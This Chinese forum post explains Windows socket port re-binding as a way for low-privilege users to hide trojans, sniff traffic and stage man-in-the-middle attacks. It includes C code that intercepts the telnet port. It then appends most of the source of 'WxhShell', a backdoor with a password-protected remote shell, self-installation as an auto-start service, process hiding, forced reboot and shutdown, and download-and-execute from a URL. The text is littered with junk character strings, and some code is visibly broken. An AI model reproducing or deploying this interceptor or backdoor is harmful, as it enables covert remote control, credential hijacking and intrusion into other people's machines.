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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @OV|]u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <oR a3Gi(%  
q;R],7Re  
  saddr.sin_family = AF_INET; ;|p BFKx  
,=UK}*e"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +1uF !G&l  
D>HOn^   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y+X2Pl  
M.x=<:upp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gnFr}L&j  
C9~52+S  
  这意味着什么?意味着可以进行如下的攻击: ",^Mxm{  
kqM045W7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s"0Y3x3  
!F1M(zFD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R@/"B8H  
5 xppKt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6N",- c  
G~Hzec{#tg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :# .<[  
u])b,9&En  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W~zbm]  
TOkp%@9/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lhYe;b(  
IAw{P08+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kddZZA3`  
6eT5ktf  
  #include ]ro*G"-_1#  
  #include S& S Q  
  #include OHeT,@(mh  
  #include    8"U. Hnu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )we}6sE"  
  int main() .}q&5v  
  { o<[#0T^K   
  WORD wVersionRequested; |_] Q$q[[%  
  DWORD ret; 8kU! 8^mH  
  WSADATA wsaData; G+%zn|  
  BOOL val; M@`;JjtSA  
  SOCKADDR_IN saddr; I$<<(VWH  
  SOCKADDR_IN scaddr; ;g@4|Ro  
  int err; T?x[C4wf+  
  SOCKET s; =osv3>&q  
  SOCKET sc; &7`^i.fh)  
  int caddsize; P+s !|7'  
  HANDLE mt; nSW=LjrO~<  
  DWORD tid;   eCqHvMp  
  wVersionRequested = MAKEWORD( 2, 2 ); XiL~TCkx4  
  err = WSAStartup( wVersionRequested, &wsaData ); t/cY=Wp  
  if ( err != 0 ) { j7jCm:  
  printf("error!WSAStartup failed!\n"); ;%<,IdhN  
  return -1; 6kNrYom  
  } !9[>L@#G  
  saddr.sin_family = AF_INET; )+[ gd/<C.  
   P0W*C6&71|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *pSQU=dmS  
[3(7  4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); + Af"f' )  
  saddr.sin_port = htons(23); [U5\bX@$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kS_(wp A  
  { `Gn50-@  
  printf("error!socket failed!\n"); s$cK(S#  
  return -1; b6U2GDm\s  
  } znxnL,-  
  val = TRUE; (Dw,DY9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [<%H>S1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bmfI~8  
  { ' 0J1vG~c  
  printf("error!setsockopt failed!\n"); g]4(g<:O  
  return -1; >Db;yC&  
  } Kla'lCZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $6mX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cki81bOT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >4#)r8;dx  
Y0x%sz 5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y9x w 9l'  
  { `8AR_7i  
  ret=GetLastError(); hp#W 9@NR  
  printf("error!bind failed!\n"); 8n'B6hi  
  return -1; :c8&N-`  
  } do*EKo  
  listen(s,2); wN;^[F  
  while(1) .}OR  
  { _a6[{_Pc  
  caddsize = sizeof(scaddr); ~yH?=:>U  
  //接受连接请求 swM*k;$q{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); AS =?@2 q  
  if(sc!=INVALID_SOCKET) ^>jwh  
  { &3bx `C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jN[`L%Qm   
  if(mt==NULL) 9aze>nxh.  
  { jz qyk^X  
  printf("Thread Creat Failed!\n"); %p2Sh)@M  
  break; y+"X~7EX  
  } 4)A#2  
  } , Wk?I%>  
  CloseHandle(mt); ]j`c]2EuP  
  } ~:Ll&29i  
  closesocket(s); v^#~98g]  
  WSACleanup(); j`~Ms>  
  return 0; kQEy#JQmB  
  }   tasUZ#\6  
  DWORD WINAPI ClientThread(LPVOID lpParam) BW 4%l  
  { a-=8xs'  
  SOCKET ss = (SOCKET)lpParam; ^pQCNKLBY  
  SOCKET sc; y#U+c*LB  
  unsigned char buf[4096]; D;;!ODX$?  
  SOCKADDR_IN saddr; gBC@38|6)  
  long num; 9%B\/&f  
  DWORD val; @GdbTd  
  DWORD ret; 4\Tl\SZ?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P} 0%-JC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v":x4!kdX  
  saddr.sin_family = AF_INET; mt,OniU=Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0=AVW`J  
  saddr.sin_port = htons(23); B56L1^ 7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !,6c ~ w  
  { ~N<4L>y<  
  printf("error!socket failed!\n"); 6)Y.7XR  
  return -1; X]wRwG  
  } 3'cE\u  
  val = 100; whi`Z:~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 23Nw!6S  
  { ;\14b?TUH  
  ret = GetLastError(); ]x(e&fyHB  
  return -1;  |8My42yf  
  } u~WVGjoQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5h Q E4/hH  
  { TFkZpe;  
  ret = GetLastError(); B{'( L |  
  return -1; g^}8:,F_  
  } {<R2UI5m5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8,? h~prc  
  { 'VzP};  
  printf("error!socket connect failed!\n"); q|!-0B @  
  closesocket(sc); e=B|==E10M  
  closesocket(ss); {>DE sO  
  return -1; qz0;p=$8Z  
  } Y]/% t{Y  
  while(1) VGpWg rmHk  
  { O(D ~_O.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i} .&0Fp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lT&eJO~?5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uRZZxZ  
  num = recv(ss,buf,4096,0); /v- 6WSN  
  if(num>0) }\\KYyjY  
  send(sc,buf,num,0); _'{_gei_P  
  else if(num==0) @?yX!_YC  
  break; ]yK7PH-{L  
  num = recv(sc,buf,4096,0); 18+)`M-5o  
  if(num>0) eZIhEOF  
  send(ss,buf,num,0); BD_Iz A<wK  
  else if(num==0) NQ(1   
  break; GP?M!C,/}k  
  } @+Si?8\  
  closesocket(ss); BJM.iXU)[  
  closesocket(sc); El.hu%#n*G  
  return 0 ; C8Qa$._  
  } 2+QYhdw  
S|7!{}  
WvBc#s-  
========================================================== zNxW'?0Z?  
c:<005\Bg  
下边附上一个代码,,WXhSHELL WST8SEzJ  
"B3N* R(["  
========================================================== JBE!j-F  
mS(fgq6  
#include "stdafx.h" UNom-  
Ta(Y:*Ri  
#include <stdio.h> S- pV_Ff  
#include <string.h> K/i*w<aPb7  
#include <windows.h> &PYK8}pBk3  
#include <winsock2.h> N G "C&v  
#include <winsvc.h> r'^Hg/Jzt  
#include <urlmon.h> 6kpg+{;  
* w?N{.  
#pragma comment (lib, "Ws2_32.lib") 'EbWFMjy  
#pragma comment (lib, "urlmon.lib") jQ2Ot<  
gtk7)Uh  
#define MAX_USER   100 // 最大客户端连接数 e1%/26\  
#define BUF_SOCK   200 // sock buffer 5*lT.  
#define KEY_BUFF   255 // 输入 buffer >O*IQ[r-  
CE#gfP  
#define REBOOT     0   // 重启 8u6:=fxb  
#define SHUTDOWN   1   // 关机 VH9dleZ  
^l9N48]|?  
#define DEF_PORT   5000 // 监听端口 D8Ykg >B;&  
Nl^;A> <u  
#define REG_LEN     16   // 注册表键长度 $ M`hh{ -  
#define SVC_LEN     80   // NT服务名长度 M?Dfu .t  
o]yl ;I  
// 从dll定义API QZ6D7t Uc8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,l !Ta "  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _FH`pv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); . $BUw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xF;kT BRi  
tnH2sHby  
// wxhshell配置信息 $*e2YQdLo  
struct WSCFG { `UD/}j@  
  int ws_port;         // 监听端口 ad*m%9Y1Q  
  char ws_passstr[REG_LEN]; // 口令 JMrEFk  
  int ws_autoins;       // 安装标记, 1=yes 0=no uJzG|$;  
  char ws_regname[REG_LEN]; // 注册表键名 ^ DaBz\  
  char ws_svcname[REG_LEN]; // 服务名 Y$Z x,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a1C{(f)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c 0,0`+2~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pT=JP> nd^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NW]Lj >0Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w,#>G07D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 em,u(#)&  
)c8rz[i  
}; fmU {  
8(pp2rlR  
// default Wxhshell configuration 1S{D6#bE  
struct WSCFG wscfg={DEF_PORT, J]{QB^?  
    "xuhuanlingzhe", ]^h]t~  
    1, T|nDTezr  
    "Wxhshell", z@!`:'ak  
    "Wxhshell", "W6uV!  
            "WxhShell Service", OLyf8&AU@  
    "Wrsky Windows CmdShell Service", gG0!C))8  
    "Please Input Your Password: ", BXtCSfY $  
  1, 3{'Ne}5%I  
  "http://www.wrsky.com/wxhshell.exe", 5rw 7;'  
  "Wxhshell.exe" dP3CG8w5  
    }; i3tg6o4C  
GeyvId03H  
// 消息定义模块 Ag9vU7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EMY/~bQW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t| g4m[kr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .nrMfl_  
char *msg_ws_ext="\n\rExit."; -`'I{g&A  
char *msg_ws_end="\n\rQuit."; R%{<mno/_  
char *msg_ws_boot="\n\rReboot..."; SIBtmm1W  
char *msg_ws_poff="\n\rShutdown...";  7''??X  
char *msg_ws_down="\n\rSave to "; A,JmX  
ns9U/ :L  
char *msg_ws_err="\n\rErr!"; /rK}?U  
char *msg_ws_ok="\n\rOK!"; (?n=33}Ci  
SF7\<'4\N  
char ExeFile[MAX_PATH]; a =J^  
int nUser = 0; my(2;IJ#{  
HANDLE handles[MAX_USER]; J%u=Ucdh  
int OsIsNt; 0(eB ZdRO  
;rF\kX&Jh  
SERVICE_STATUS       serviceStatus; 2;k*@k-t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Sdp&jZY  
<c2E'U)X  
// 函数声明 VJeu 8ZJ.  
int Install(void); ) pzy  
int Uninstall(void); Fq0i`~L~  
int DownloadFile(char *sURL, SOCKET wsh); dMh:ulIY>  
int Boot(int flag); }tRm]w  
void HideProc(void); 2L3)#22m*  
int GetOsVer(void); J?V?R  
int Wxhshell(SOCKET wsl); ``,fodA8  
void TalkWithClient(void *cs); r(:5kC8K  
int CmdShell(SOCKET sock); %'b M){  
int StartFromService(void); /a{la8Ni  
int StartWxhshell(LPSTR lpCmdLine); * aN  
,k24w7K%d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s3z$e+A8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?M8dP%&r  
U>YAdrx2a  
// 数据结构和表定义 "Lzi+1  
SERVICE_TABLE_ENTRY DispatchTable[] = ^H~h\,;zQ  
{ fY{1F   
{wscfg.ws_svcname, NTServiceMain}, 9Vg?{v!yn  
{NULL, NULL} K18}W*$ d  
}; bWH&P/>  
`ZU($!(  
// 自我安装 6c}h(TkB  
int Install(void) "H7dft/  
{ ,BH@j%Jmy  
  char svExeFile[MAX_PATH]; z6U\axO6  
  HKEY key; APvDP?  
  strcpy(svExeFile,ExeFile); W<bGDh  
U_M$#i{_  
// 如果是win9x系统,修改注册表设为自启动 '}9x\3E  
if(!OsIsNt) { @3) (BpFe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B-xGX$<z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (/z_Q{"N  
  RegCloseKey(key); o2nv+fy W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qU+t/C.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VrHv)lUr  
  RegCloseKey(key); xe]y]  
  return 0; B;M?,<%FRU  
    } rA3$3GLQ-  
  } Jb0`42  
} y=fx%~<> 8  
else { |LRedD7n  
{ d=^}-^   
// 如果是NT以上系统,安装为系统服务 iJ-23_D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #H)vK"hF  
if (schSCManager!=0) tClg*A;|B  
{ lNy.g{2f<m  
  SC_HANDLE schService = CreateService ;!=G   
  ( ,$@bE  
  schSCManager, .7Dtm<K#  
  wscfg.ws_svcname, lsJSYJG&  
  wscfg.ws_svcdisp, LzG%Z1`  
  SERVICE_ALL_ACCESS, Z~AO0zUKY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AS!?q  
  SERVICE_AUTO_START, n4s+>|\M  
  SERVICE_ERROR_NORMAL, ];VA!++  
  svExeFile, Q! o'}nA  
  NULL, -C;^ 3R[ O  
  NULL, m!gz3u]rN  
  NULL, wVX[)E\J  
  NULL, :{PJI,  
  NULL aAZZ8V  
  ); }{,^@xdyW  
  if (schService!=0) FTX=Wyr  
  { &4{KV.  
  CloseServiceHandle(schService); :nh_k4S@v  
  CloseServiceHandle(schSCManager); ? }Z1bH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q]\:P.x!>  
  strcat(svExeFile,wscfg.ws_svcname); fX(3H1$"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +Jlay1U&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AV:h BoO  
  RegCloseKey(key); O_2pIbh  
  return 0; BHIRH mM<Y  
    } X@'u y<tI-  
  } (lXGmx8  
  CloseServiceHandle(schSCManager); TCN8a/@z  
} SAH-p*.  
} c-x,fS"&W  
61,;Uc\T  
return 1; L(/e&J@><  
} Y4OPEo5o  
e{h<g>7  
// 自我卸载 rDD:7*z  
int Uninstall(void) HeK/7IAqp  
{ [/,)  
  HKEY key; 8{|8G-Mi  
0Be< X  
if(!OsIsNt) { )s)I2Z+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4qphA9i1  
  RegDeleteValue(key,wscfg.ws_regname); h(<,fg1  
  RegCloseKey(key); /vY(o1o x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _- [''(E  
  RegDeleteValue(key,wscfg.ws_regname); o906/5M  
  RegCloseKey(key); bH-ub2@qO  
  return 0; }HL]yDO  
  } 9"@\s$ OBk  
} q YC;cKv  
} {i1| R"ta  
else { !xzeMVI  
O6Vtu Ws%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $CxKuB(  
if (schSCManager!=0) BIb4h   
{ Kh"?%ZIa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N@;?CKU  
  if (schService!=0) -<c=US  
  { jTf@l?|  
  if(DeleteService(schService)!=0) { CHdX;'`*  
  CloseServiceHandle(schService); aC^\(wp[  
  CloseServiceHandle(schSCManager); heltgRt  
  return 0; )bA;?i  
  } Bt[/0>i  
  CloseServiceHandle(schService); \@-@Y  
  } ?RX3MUN  
  CloseServiceHandle(schSCManager); #c!*</  
} b[__1E9v'  
} %&$Tz1"  
PUz*!9HC  
return 1; ZufR {^W  
} OGBHos  
"HX<,l8f%  
// 从指定url下载文件 Qf58ig-vCY  
int DownloadFile(char *sURL, SOCKET wsh) 2{M^,=^>  
{ V GL aN%|  
  HRESULT hr; !*/*8re  
char seps[]= "/"; Nw:GCf-L  
char *token; \Lq h j  
char *file; R7]l{2V#^  
char myURL[MAX_PATH]; iF*:d  
char myFILE[MAX_PATH]; :fKl]XO  
<i<J^-W  
strcpy(myURL,sURL); :KH g&ZX7  
  token=strtok(myURL,seps); Q.bXM?V)  
  while(token!=NULL) MtM%{=&_  
  { y9_V  
    file=token; ~aw.(A?MI  
  token=strtok(NULL,seps); Dw|}9;5:A  
  } uzXCIv@  
iz5CAxm  
GetCurrentDirectory(MAX_PATH,myFILE); '#! gh?  
strcat(myFILE, "\\"); gwNq x"  
strcat(myFILE, file); z _g~  
  send(wsh,myFILE,strlen(myFILE),0); ^m L@e'r  
send(wsh,"...",3,0); 3sc+3-TF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *RT>`,t/  
  if(hr==S_OK) PEN \-*Pv  
return 0; D>|H 2  
else E"\/ M  
return 1; ~Xr=4V:a+  
W"724fwu&  
} 5&xB6|k  
=6xrfDbN8  
// 系统电源模块 &vHoRY  
int Boot(int flag) w|3z;-#Q;  
{ L%">iQOG#  
  HANDLE hToken; P<oehw'>  
  TOKEN_PRIVILEGES tkp; S(QpM.9*  
dCb`xR}  
  if(OsIsNt) { | H!28h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KjV:|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "BD~xP(  
    tkp.PrivilegeCount = 1; %mL-$*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YTAmgkF\4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rMXN[,|v  
if(flag==REBOOT) { 6Vww;1 J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]I-Z]m "  
  return 0; Rn#KfI:{  
} 7ByTnYe~S  
else { ( W a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DvME 1]7)  
  return 0; ~0?mBy!-O  
} Xsa2(-  
  } aF8fqu\  
  else { jNu9KlN  
if(flag==REBOOT) { Yv hA_v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "b?v?V0%C  
  return 0; e}mD]O}  
} K )[]fm  
else { "ZHW2l Mf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _\=`6`b)  
  return 0; l;af~ef)'  
} Ok>gh2e[c  
} '"y|p+=j:  
o5xAav"+>  
return 1; `))\}C@k  
} H|,Oswk~-  
 zG+R5:  
// win9x进程隐藏模块 4!$s}V=6  
void HideProc(void) za#s/b$[  
{ "mX\&%i6\p  
~SQ?BoCI[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N03G>fZ  
  if ( hKernel != NULL ) R,)}>X|<  
  { Xm+8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'iy*^A `Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qNI, 62  
    FreeLibrary(hKernel); )q 0.0<f  
  } dlU'2Cl7d  
CQwL|$)]Y  
return; G,TM-l_uw  
} FSUttg"  
qs|mj}?  
// 获取操作系统版本 . 7zK@6i  
int GetOsVer(void) |M8WyW  
{ A"`foI$0  
  OSVERSIONINFO winfo; %cCs?ic  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w0|gG+x jS  
  GetVersionEx(&winfo); 79nG|Yj|\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  ~UyV<  
  return 1; ktK_e  
  else ~CtL9m3tO  
  return 0; <$6QDfa#  
} p7);uF^O%  
~CVe yk< (  
// 客户端句柄模块 n$U#:aQE  
int Wxhshell(SOCKET wsl) 0~HKiH-  
{ lAzj N~V  
  SOCKET wsh; |UP `B|  
  struct sockaddr_in client; @lCJ G!u  
  DWORD myID; 7~&/_3  
PN0VQ/..  
  while(nUser<MAX_USER) 1J6,]M  
{ "oWwc zzO  
  int nSize=sizeof(client); MepuIh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !icT/5  
  if(wsh==INVALID_SOCKET) return 1; iZPCNS"  
V~S0hqW[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9m|kgY# 4  
if(handles[nUser]==0) p`nPhk,:b  
  closesocket(wsh); klQC2drS  
else iS&l8@2a  
  nUser++; )>b.;  
  } jAy^J(+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ak ->ML  
z?[r  
  return 0; BJgW,huLy  
} T|6jGZS^|W  
$B kubWM  
// 关闭 socket WJNl5^  
void CloseIt(SOCKET wsh) 3 N7[.I>A  
{ M~WijDj  
closesocket(wsh); LUH"  
nUser--; I#m-g-J  
ExitThread(0); 5K^69mx  
} 7@Zx@  
#mZpeB~   
// 客户端请求句柄 CqHK%M  
void TalkWithClient(void *cs) Rp*R:3 C  
{ ~zil/P8  
RletL)  
  SOCKET wsh=(SOCKET)cs; QYa(N[~a  
  char pwd[SVC_LEN]; '; =f  
  char cmd[KEY_BUFF]; wj[\B*$?  
char chr[1]; `6 /$M!4$  
int i,j; XO-Prs  
u$*56y   
  while (nUser < MAX_USER) { fGw^:,B  
A,V\"KU  
if(wscfg.ws_passstr) { BYO"u6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); chV9_(8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "Vw m  
  //ZeroMemory(pwd,KEY_BUFF); lY~4'8^  
      i=0; HS{(v;  
  while(i<SVC_LEN) { *+TH#EL2  
} X^|$  
  // 设置超时 %{(x3\ *&  
  fd_set FdRead; hX`hs- *qM  
  struct timeval TimeOut; 56e r`=ms  
  FD_ZERO(&FdRead); 'eo KZX+  
  FD_SET(wsh,&FdRead); i<H wTmm$  
  TimeOut.tv_sec=8; B=>RH!&  
  TimeOut.tv_usec=0; Q:|l`*.R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K =C!b?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "z0zpHXek  
OkCQ?]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4l!@=qwn  
  pwd=chr[0]; %honO@$  
  if(chr[0]==0xd || chr[0]==0xa) { q(zJ%Gv)  
  pwd=0;  %VzKqh  
  break; 0O\SU"bP  
  } ZDD..j  
  i++; WVmq% ,7  
    } ddfs8\  
u)ev{)$TM  
  // 如果是非法用户,关闭 socket )I^2k4Cg"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Nc :({@I  
} e1>aTu@  
! iptT(2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %V1Z~HC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P6 ;'Sza  
b B  x?  
while(1) { 4Sm]>%F':  
% r-V2)  
  ZeroMemory(cmd,KEY_BUFF); p. R2gl1m  
3' ~gvi I  
      // 自动支持客户端 telnet标准   lz?;#U  
  j=0; &?uz`pv2  
  while(j<KEY_BUFF) { HQUeWCN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~go fQ  
  cmd[j]=chr[0]; 6*qL[m.F[o  
  if(chr[0]==0xa || chr[0]==0xd) { @*0cMO;SpG  
  cmd[j]=0; *?z0$Kz<,[  
  break; _(d.!qGz  
  } cooUE<a  
  j++; Iq#ZhAk  
    } -pU|hSW*b  
' zEI;v  
  // 下载文件 d{3@h+zL  
  if(strstr(cmd,"http://")) { oT{@_U{*J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QJ F=UB  
  if(DownloadFile(cmd,wsh)) 1=|7mehL%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZT[3aXS  
  else YAL=!~6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 277ASCWLkU  
  } UWZa|I~:J  
  else { e/*$^i+S  
|.F  
    switch(cmd[0]) { V~T@6S  
  J0 k  
  // 帮助 :-iMdtm  
  case '?': { Ja]?&j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;>%~9j1C  
    break; ui "3ak+F  
  } 'DCFezdf3  
  // 安装 0x11 vr!  
  case 'i': { '=E3[0W  
    if(Install()) uk9g<<3T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zes+/.sA}]  
    else Wxk x,q?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nrah;i+H\o  
    break; Ku/~ N#  
    } ~XydQJ^*  
  // 卸载 9D 0dg(  
  case 'r': { -UZ@G~K  
    if(Uninstall()) ]&ixhW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4D$;KokZ  
    else g|Y] wd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O<j PGU  
    break; {/ LZcz[  
    } 9'DtaTmGW  
  // 显示 wxhshell 所在路径 rZojY}dWJ  
  case 'p': { 6cdMS[_SD(  
    char svExeFile[MAX_PATH]; ?sBh=Ds  
    strcpy(svExeFile,"\n\r"); B/J>9||g  
      strcat(svExeFile,ExeFile); N7%TYs  
        send(wsh,svExeFile,strlen(svExeFile),0); v! 42 DA)  
    break; ckjrk  
    } ,;<RW]r-P  
  // 重启 .6m "'m0;  
  case 'b': { ]WUC:6x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *9 Q^5;y  
    if(Boot(REBOOT)) [EY`am8[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <e)o1+[w  
    else { a`E*\O'd  
    closesocket(wsh); x|0:P sE  
    ExitThread(0); #5&jt@NS  
    } .fzu"XAPu  
    break; sVoW =4V8  
    } <&pKc6+{  
  // 关机 Q<6P. PTya  
  case 'd': { Cs@ +r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6al=Cwf  
    if(Boot(SHUTDOWN)) >Z Ke  
